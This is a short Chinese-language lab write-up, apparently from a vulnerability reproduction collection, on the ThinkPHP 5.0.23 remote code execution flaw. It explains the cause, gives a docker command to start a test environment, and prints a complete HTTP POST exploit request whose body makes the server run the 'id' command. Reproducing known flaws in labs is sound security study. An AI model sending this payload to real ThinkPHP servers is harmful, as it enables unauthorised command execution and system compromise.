Aaron
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ThinkPHP5 5.0.23 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
参考链接：
漏洞环境
执行如下命令启动一个默认的thinkphp 5.0.23环境：
docker compose up -d
环境启动后，访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。
漏洞复现
发送数据包：
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功执行id命令：
